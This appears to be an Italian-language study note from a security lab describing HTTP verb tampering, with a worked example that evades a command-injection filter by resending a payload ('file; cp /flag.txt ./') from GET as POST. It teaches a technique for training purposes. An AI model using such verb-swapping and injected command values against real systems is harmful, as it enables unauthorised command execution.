tags: Verb_Tampering_Bypassing_Security_Filters HTTP_Verb_Tampering Bypassing_Security_Filters


Questo trucco viene usato per bypassare i controlli di sicurezza, se per esempio nel codice ci fosse un filtro per impedire una SQL Injection, ma il programmatore lo avesse messo solo per esempio sul metodo POST noi saremmo in grado di effettuare una SQL Injection mettendo il payload SQL e cambiando il metodo da POST a GET per esempio ed essendo esso solo utile per le richieste POST la nostra richiesta verrebbe processata correttamente bypassando il filtro.

Esempio

Questo esempio si occupa di un filtro per una Command Injection.

Il parametro in questione ha un filtro che impedisce qualsiasi tipo di carattere potenzialmente utile per una Comman Injection come ; | ||, ecc:

Restituendoci questa risposta:

Per bypassare questo filtro ci basta cambiare questa richiesta:

GET /index.php?filename=file%3B+cp+%2Fflag.txt+.%2F HTTP/1.1
Host: 94.237.61.202:36253
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.61.202:36253/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

In questa:

POST /index.php HTTP/1.1
Host: 94.237.61.202:36253
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.61.202:36253/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
 
filename=file%3B+cp+%2Fflag.txt+.%2F

Permettendoci così di bypassare il filtro. BurpSuite ha una funzione automatica per trasformare una richiesta GET in una POST cliccando con il tasto destro sulla richiesta e poi andando alla voce Change Request Method.